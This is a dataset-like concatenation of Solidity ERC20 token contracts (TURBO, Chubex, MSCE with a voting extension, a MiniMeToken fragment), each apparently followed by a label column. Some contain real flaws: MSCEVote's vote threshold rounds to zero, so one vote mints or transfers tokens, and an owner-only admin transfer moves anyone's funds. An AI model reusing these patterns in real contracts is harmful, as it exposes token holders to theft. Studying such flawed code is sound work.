event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "TURBO";
string public constant TOKEN_SYMBOL = "XRB";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x792b667cf7AFba92f65f9De4d04358293dFf4BD0;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x792b667cf7afba92f65f9de4d04358293dff4bd0)];
uint[1] memory amounts = [uint(100000000000000000000000000000)];
uint64[1] memory freezes = [uint64(1540926002)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 3,973 |
pragma solidity ^0.4.20;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count ++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i ++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 2;
uint8 constant TOKEN_DECIMALS_UINT8 = 2;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "Chubex";
string constant TOKEN_SYMBOL = "CBX";
bool constant PAUSED = false;
address constant TARGET_USER = 0x7A47F49Ca7863D2DC6Df4a34642C13e61062Cd34;
uint constant START_TIME = 1525147200;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
uint codeLength;
assembly {
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 1 | 4,310 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MSCE is Ownable, StandardToken, BurnableToken{
using SafeMath for uint256;
uint8 public constant TOKEN_DECIMALS = 18;
string public name = "Mobile Ecosystem";
string public symbol = "MSCE";
uint8 public decimals = TOKEN_DECIMALS;
uint256 public totalSupply = 500000000 *(10**uint256(TOKEN_DECIMALS));
uint256 public soldSupply = 0;
uint256 public sellSupply = 0;
uint256 public buySupply = 0;
bool public stopSell = true;
bool public stopBuy = false;
uint256 public crowdsaleStartTime = block.timestamp;
uint256 public crowdsaleEndTime = 1526831999;
uint256 public crowdsaleTotal = 2000*40000*(10**18);
uint256 public buyExchangeRate = 40000;
uint256 public sellExchangeRate = 100000;
address public ethFundDeposit;
bool public allowTransfers = true;
mapping (address => bool) public frozenAccount;
bool public enableInternalLock = true;
uint256 unitCount = 100;
uint256 unitTime = 1 days;
uint256 lockTime = unitCount * unitTime;
mapping (address => bool) public internalLockAccount;
mapping (address => uint256) public releaseLockAccount;
mapping (address => uint256) public lockAmount;
mapping (address => uint256) public lockStartTime;
mapping (address => uint256) public lockReleaseTime;
event LockAmount(address _from, address _to, uint256 amount, uint256 releaseTime);
event FrozenFunds(address target, bool frozen);
event IncreaseSoldSaleSupply(uint256 _value);
event DecreaseSoldSaleSupply(uint256 _value);
function MSCE() public {
balances[msg.sender] = totalSupply;
ethFundDeposit = msg.sender;
allowTransfers = true;
}
function _isUserInternalLock() internal view returns (bool) {
return getAccountLockState(msg.sender);
}
function increaseSoldSaleSupply (uint256 _value) onlyOwner public {
require (_value + soldSupply < totalSupply);
soldSupply = soldSupply.add(_value);
emit IncreaseSoldSaleSupply(_value);
}
function decreaseSoldSaleSupply (uint256 _value) onlyOwner public {
require (soldSupply - _value > 0);
soldSupply = soldSupply.sub(_value);
emit DecreaseSoldSaleSupply(_value);
}
function setEthFundDeposit(address _ethFundDeposit) onlyOwner public {
require(_ethFundDeposit != address(0));
ethFundDeposit = _ethFundDeposit;
}
function transferETH() onlyOwner public {
require(ethFundDeposit != address(0));
require(this.balance != 0);
require(ethFundDeposit.send(this.balance));
}
function setExchangeRate(uint256 _sellExchangeRate, uint256 _buyExchangeRate) onlyOwner public {
sellExchangeRate = _sellExchangeRate;
buyExchangeRate = _buyExchangeRate;
}
function setExchangeStatus(bool _stopSell, bool _stopBuy) onlyOwner public {
stopSell = _stopSell;
stopBuy = _stopBuy;
}
function setAllowTransfers(bool _allowTransfers) onlyOwner public {
allowTransfers = _allowTransfers;
}
function setEnableInternalLock(bool _isEnable) onlyOwner public {
enableInternalLock = _isEnable;
}
function getAccountUnlockTime(address _target) public view returns(uint256) {
return releaseLockAccount[_target];
}
function getAccountLockState(address _target) public view returns(bool) {
if(enableInternalLock && internalLockAccount[_target]){
if((releaseLockAccount[_target] > 0)&&(releaseLockAccount[_target]<block.timestamp)){
return false;
}
return true;
}
return false;
}
function setUnitTime(uint256 unit) external onlyOwner{
unitTime = unit;
}
function isOwner() internal view returns(bool success) {
if (msg.sender == owner) return true;
return false;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (!isOwner()) {
require (allowTransfers);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
require(!_isUserInternalLock());
}
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
if (!isOwner()) {
require (allowTransfers);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
require(!_isUserInternalLock());
require(_value <= balances[msg.sender] - lockAmount[msg.sender] + releasedAmount(msg.sender));
}
if(_value >= releasedAmount(msg.sender)){
lockAmount[msg.sender] = lockAmount[msg.sender].sub(releasedAmount(msg.sender));
}else{
lockAmount[msg.sender] = lockAmount[msg.sender].sub(_value);
}
return super.transfer(_to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool) {
if (!isOwner()) {
require (allowTransfers);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_spender]);
require(!_isUserInternalLock());
require(_value <= balances[msg.sender] - lockAmount[msg.sender] + releasedAmount(msg.sender));
}
if(_value >= releasedAmount(msg.sender)){
lockAmount[msg.sender] = lockAmount[msg.sender].sub(releasedAmount(msg.sender));
}else{
lockAmount[msg.sender] = lockAmount[msg.sender].sub(_value);
}
return super.approve(_spender, _value);
}
function transferFromAdmin(address _from, address _to, uint256 _value) onlyOwner public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(_from, _to, _value);
return true;
}
function () internal payable{
uint256 currentTime = block.timestamp;
require((currentTime>crowdsaleStartTime)&&(currentTime<crowdsaleEndTime));
require(crowdsaleTotal>0);
require(buy());
crowdsaleTotal = crowdsaleTotal.sub(msg.value.mul(buyExchangeRate));
}
function buy() payable public returns (bool){
uint256 amount = msg.value.mul(buyExchangeRate);
require(!stopBuy);
require(amount <= balances[owner]);
balances[owner] = balances[owner].sub(amount);
balances[msg.sender] = balances[msg.sender].add(amount);
soldSupply = soldSupply.add(amount);
buySupply = buySupply.add(amount);
Transfer(owner, msg.sender, amount);
return true;
}
function sell(uint256 amount) public {
uint256 ethAmount = amount.div(sellExchangeRate);
require(!stopSell);
require(this.balance >= ethAmount);
require(ethAmount >= 1);
require(balances[msg.sender] >= amount);
require(balances[owner] + amount > balances[owner]);
require(!frozenAccount[msg.sender]);
require(!_isUserInternalLock());
balances[owner] = balances[owner].add(amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
soldSupply = soldSupply.sub(amount);
sellSupply = sellSupply.add(amount);
Transfer(msg.sender, owner, amount);
msg.sender.transfer(ethAmount);
}
function setCrowdsaleStartTime(uint256 _crowdsaleStartTime) onlyOwner public {
crowdsaleStartTime = _crowdsaleStartTime;
}
function setCrowdsaleEndTime(uint256 _crowdsaleEndTime) onlyOwner public {
crowdsaleEndTime = _crowdsaleEndTime;
}
function setCrowdsaleTotal(uint256 _crowdsaleTotal) onlyOwner public {
crowdsaleTotal = _crowdsaleTotal;
}
function transferLockAmount(address _to, uint256 _value) public{
require(balances[msg.sender] >= _value, "Not enough MSCE");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
lockAmount[_to] = lockAmount[_to].add(_value);
_resetReleaseTime(_to);
emit Transfer(msg.sender, _to, _value);
emit LockAmount(msg.sender, _to, _value, uint256(now + lockTime));
}
function _resetReleaseTime(address _target) internal {
lockStartTime[_target] = uint256(now);
lockReleaseTime[_target] = uint256(now + lockTime);
}
function releasedAmount(address _target) public view returns (uint256) {
if(now >= lockReleaseTime[_target]){
return lockAmount[_target];
}
else{
return (now - lockStartTime[_target]).div(unitTime).mul(lockAmount[_target]).div(100);
}
}
}
contract MSCEVote is MSCE {
uint256 votingRight = 10000;
uint256 dealTime = 3 days;
struct Vote{
bool isActivated;
bytes32 name;
address target;
address spender;
uint256 targetAmount;
bool freeze;
string newName;
string newSymbol;
uint256 agreeSupply;
uint256 disagreeSupply;
uint256 startTime;
uint256 endTime;
uint256 releaseTime;
}
Vote[] public votes;
mapping (uint256 => address) public voteToOwner;
mapping (address => bool) public frozenAccount;
event NewVote(address _initiator, bytes32 name, address target, uint256 targetAmount);
modifier onlySuperNode() {
require(balances[msg.sender] >= 5000000*(10**18), "Just for SuperNodes");
_;
}
modifier onlyVotingRight() {
require(balances[msg.sender] >= votingRight*(10**18), "You haven't voting right.");
_;
}
function createVote(bytes32 _name, address _target, address _spender,uint256 _targetAmount, bool _freeze, string _newName, string _newSymbol, uint256 _releaseTime) onlySuperNode public {
uint256 id = votes.push(Vote(true, _name, _target, _spender,_targetAmount, _freeze, _newName, _newSymbol, 0, 0, uint256(now), uint256(now + dealTime), _releaseTime)) - 1;
voteToOwner[id] = msg.sender;
emit NewVote(msg.sender, _name, _target, _targetAmount);
}
function mintToken(address target, uint256 mintedAmount) onlySuperNode public {
createVote("MINT", target, target, mintedAmount, false, "", "", 0);
}
function destroyToken(address target, uint256 amount) onlySuperNode public {
createVote("DESTROY", target, target, amount, false, "", "", 0);
}
function freezeAccount(address _target, bool freeze) onlySuperNode public {
createVote("FREEZE", _target, _target, 0, freeze, "", "", 0);
}
function lockInternalAccount(address _target, bool _lock, uint256 _releaseTime) onlySuperNode public {
require(_target != address(0));
createVote("LOCK", _target, _target, 0, _lock, "", "", _releaseTime);
}
function setName(string _name) onlySuperNode public {
createVote("CHANGENAME", msg.sender, msg.sender, 0, false, _name, "", 0);
}
function setSymbol(string _symbol) onlySuperNode public {
createVote("CHANGESYMBOL", msg.sender, msg.sender, 0, false, "", _symbol, 0);
}
function transferFromAdmin(address _from, address _to, uint256 _value) onlySuperNode public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
createVote("TRANS",_from, _to, _value, false, "", "", 0);
return true;
}
function getVote(uint _id)
public
view
returns (bool, bytes32, address, address, uint256, bool, string, string, uint256, uint256, uint256, uint256){
Vote storage _vote = votes[_id];
return(
_vote.isActivated,
_vote.name,
_vote.target,
_vote.spender,
_vote.targetAmount,
_vote.freeze,
_vote.newName,
_vote.newSymbol,
_vote.agreeSupply,
_vote.disagreeSupply,
_vote.startTime,
_vote.endTime
);
}
function voteXId(uint256 _id, bool _agree) onlyVotingRight public{
Vote storage vote = votes[_id];
uint256 rate = 100;
if(vote.name == "FREEZE")
{
rate = 30;
}else if(vote.name == "DESTROY")
{
rate = 51;
}
else{
rate = 80;
}
if(now > vote.endTime){
vote.isActivated = false;
votes[_id] = vote;
}
require(vote.isActivated == true, "The vote ended");
if(_agree == true){
vote.agreeSupply = vote.agreeSupply.add(balances[msg.sender]);
}
else{
vote.disagreeSupply = vote.disagreeSupply.add(balances[msg.sender]);
}
if (vote.agreeSupply >= soldSupply * (rate/100)){
executeVote(_id);
}else if (vote.disagreeSupply >= soldSupply * ((100-rate)/100)) {
vote.isActivated = false;
votes[_id] = vote;
}
}
function executeVote(uint256 _id)private{
Vote storage vote = votes[_id];
vote.isActivated = false;
if(vote.name == "MINT"){
balances[vote.target] = balances[vote.target].add(vote.targetAmount);
totalSupply = totalSupply.add(vote.targetAmount);
emit Transfer(0, this, vote.targetAmount);
emit Transfer(this, vote.target, vote.targetAmount);
}else if(vote.name == "DESTROY"){
balances[vote.target] = balances[vote.target].sub(vote.targetAmount);
totalSupply = totalSupply.sub(vote.targetAmount);
emit Transfer(vote.target, this, vote.targetAmount);
emit Transfer(this, 0, vote.targetAmount);
}else if(vote.name == "CHANGENAME"){
name = vote.newName;
}else if(vote.name == "CHANGESYMBOL"){
symbol = vote.newSymbol;
}else if(vote.name == "FREEZE"){
frozenAccount[vote.target] = vote.freeze;
emit FrozenFunds(vote.target, vote.freeze);
}else if(vote.name == "LOCK"){
internalLockAccount[vote.target] = vote.freeze;
releaseLockAccount[vote.target] = vote.endTime;
}
else if(vote.name == "TRANS"){
balances[vote.target] = balances[vote.target].sub(vote.targetAmount);
balances[vote.spender] = balances[vote.spender].add(vote.targetAmount);
emit Transfer(vote.target, vote.spender, vote.targetAmount);
}
votes[_id] = vote;
}
} | 1 | 4,080 |
interface ITokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public constant returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public constant returns(bool);
}
contract Controlled {
modifier onlyController {
require(msg.sender == controller);
_;
}
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) onlyController public {
controller = _newController;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 _amount,
address _token,
bytes _data
) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = "MMT_0.1";
struct Checkpoint {
uint128 fromBlock;
